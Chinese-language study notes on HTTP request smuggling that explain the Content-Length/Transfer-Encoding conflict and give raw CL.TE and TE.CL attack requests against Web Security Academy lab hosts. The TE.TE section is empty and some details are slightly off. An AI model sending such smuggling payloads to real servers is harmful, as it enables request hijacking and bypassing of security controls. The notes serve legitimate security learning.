HTTP request smuggling 学习笔记
HTTP request smuggling 原理
HTTP规范提供了两种不同方式来指定请求的结束位置:Content-Length、Transfer-Encoding。Content-Length以字节为单位指定消息内容体的长度,Transfer-Encoding指定消息体使用分块编码,报文由一个或多个数据块组成,每个数据块大小以字节为单位,后跟换行符,然后是块内容,整个消息体以大小为0的块结束。
由于HTTP规范提供了以上两种不同方法来指定HTTP消息体的长度,因此单个消息可以同时使用这两种方法,这种情况下,它们就会发生相互冲突。
漏洞类型
CL.TE:前端服务器使用Content-Length头,后端服务器使用Transfer-Encoding头;
TE.CL:前端服务器使用Transfer-Encoding标头,后端服务器使用Content-Length标头;
TE.TE:前端和后端服务器都支持采用Transfer-Encoding标头,但可以通过某种方式对标头进行模糊构造,导致其中一台服务器对它实行处理。
CL.TE
POST / HTTP/1.1
Host: ac6e1f1b1ee1e1dc809704bd008f00c1.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close1
Transfer-Encoding: chunked
Content-Length: 6
0
G
前端服务器按照Content-Length标头处理并确定请求主体长度为6个字节,直到G结束,并将此请求转发到后端服务器。但后端服务器只支持Transfer-Encoding标头,因此它会将消息体视为分块编码,它按序处理数据块,但第一个块就为0数据块,因此处理终止,后序消息体G不会被执行处理,后端服务器将这些字节视为序列中下一个请求的开始。此时,如果前端服务器继续向后端服务器转发请求,那么后端服务器下一个接收到的请求就会是:G+POST=GPOST的请求方法,这样,后端服务器会返回响应:Unrecognized method GPOST
TE.CL
POST / HTTP/1.1
Host: acd31fcd1ee09644806c333a00b800d1.web-security-academy.net
Content-Length: 4
Transfer-Encoding: chunked
12
GPOST / HTTP/1.1
0
空白行
空白行
前端服务器支持Transfer-Encoding标头,会将消息体视为分块编码方式,它处理第一个长度为4字节的数据块,内容是12,之后解析处理第二个块,它是0长度,因此解析终止。该请求转发到后端服务器后,由于后端服务器采用Content-Length标头,按照其中请求主体长度的4个字节,解析会执行到12之后的行开头,所以GPOST及以下的内容就不会被处理,后端服务器会将余下内容视为请求序列中下一个请求的起始。余下内容留在缓冲区中,若此时由用户发送了一个 GET,即被拼接成了一个GPOST走私请求。
TE.TE
参考: